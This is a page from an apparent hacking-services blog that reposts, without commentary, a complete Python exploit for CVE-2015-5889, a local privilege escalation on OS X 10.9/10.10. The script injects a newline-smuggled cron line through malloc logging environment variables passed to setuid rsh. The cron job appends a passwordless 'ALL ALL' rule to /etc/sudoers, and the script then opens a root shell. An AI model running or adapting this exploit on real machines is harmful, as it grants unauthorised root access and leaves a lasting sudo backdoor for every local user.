Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863551999

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root
# tested on osx 10.9.5 / 10.10.5
# jul/2015
# by rebel

import os,time,sys

env = {}

s = os.stat("/etc/sudoers").st_size

env['MallocLogFile'] = '/etc/crontab'
env['MallocStackLogging'] = 'yes'
env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'

sys.stderr.write("creating /etc/crontab..")

p = os.fork()
if p == 0:	
	os.close(1)
	os.close(2)
	os.execve("/usr/bin/rsh",["rsh","localhost"],env)

time.sleep(1)

if "NOPASSWD" not in open("/etc/crontab").read():
	sys.stderr.write("failed\n")
	sys.exit(-1)

sys.stderr.write("done\nwaiting for /etc/sudoers to change (<60 seconds)..")

while os.stat("/etc/sudoers").st_size == s:
	sys.stderr.write(".")	
	time.sleep(1)

sys.stderr.write("\ndone\n")

os.system("sudo su")